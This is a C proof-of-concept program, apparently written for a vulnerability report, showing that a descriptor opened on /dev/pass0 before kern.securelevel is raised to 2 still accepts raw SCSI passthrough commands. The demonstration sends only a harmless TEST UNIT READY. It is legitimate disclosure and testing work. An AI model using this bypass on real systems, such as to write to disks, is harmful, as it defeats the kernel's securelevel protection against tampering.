/*
 * DF-5501: passopen() enforces securelevel > 1 -> EPERM
 * (scsi_pass.c:335-339), but passioctl() never re-checks: a fd opened
 * before the securelevel raise keeps full raw-SCSI I/O (including disk
 * writes) after kern.securelevel=2, defeating the securelevel guarantee
 * for the pass device.
 *
 * usage: poc5501
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/sysctl.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_message.h>
#include <bus/cam/scsi/scsi_all.h>
#include <bus/cam/scsi/scsi_pass.h>

static int
get_securelevel(void)
{
	int v = 0;
	size_t l = sizeof(v);

	sysctlbyname("kern.securelevel", &v, &l, NULL, 0);
	return (v);
}

static int
set_securelevel(int v)
{
	return sysctlbyname("kern.securelevel", NULL, NULL, &v, sizeof(v));
}

int
main(void)
{
	union ccb uccb;
	int fd, rc, sl;

	printf("[*] DF-5501: securelevel=%d; opening /dev/pass0\n",
	    get_securelevel());
	fd = open("/dev/pass0", O_RDWR);
	if (fd < 0) {
		printf("[-] open: %s\n", strerror(errno));
		return (1);
	}

	if (set_securelevel(2) < 0) {
		printf("[-] raise securelevel: %s\n", strerror(errno));
		return (1);
	}
	sl = get_securelevel();
	printf("[*] securelevel raised to %d: a NEW open must now fail: ",
	    sl);
	fflush(stdout);
	{
		int fd2 = open("/dev/pass0", O_RDWR);
		if (fd2 < 0)
			printf("open#2 -> %s (as designed)\n", strerror(errno));
		else {
			printf("open#2 SUCCEEDED?!\n");
			close(fd2);
		}
	}

	memset(&uccb, 0, sizeof(uccb));
	uccb.ccb_h.func_code = XPT_SCSI_IO;
	uccb.ccb_h.flags = CAM_DIR_NONE;
	uccb.ccb_h.retry_count = 1;
	uccb.ccb_h.timeout = 10 * 1000;
	uccb.csio.tag_action = MSG_SIMPLE_Q_TAG;
	uccb.csio.cdb_len = 6;
	uccb.csio.dxfer_len = 0;

	printf("[*] CAMIOCOMMAND (TUR) on the PRE-OPENED fd at "
	    "securelevel=%d ...\n", sl);
	rc = ioctl(fd, CAMIOCOMMAND, &uccb);
	printf("[%s] ioctl rc=%d errno=%d CAM status=%#x: the command was "
	    "fully processed by passioctl (rc=0, no EPERM) at securelevel 2 "
	    "=> raw SCSI passthrough still usable on a pre-opened fd\n",
	    (rc == 0) ? "+" : "-", rc, errno,
	    uccb.ccb_h.status & CAM_STATUS_MASK);

	return (rc == 0 ? 0 : 1);
}
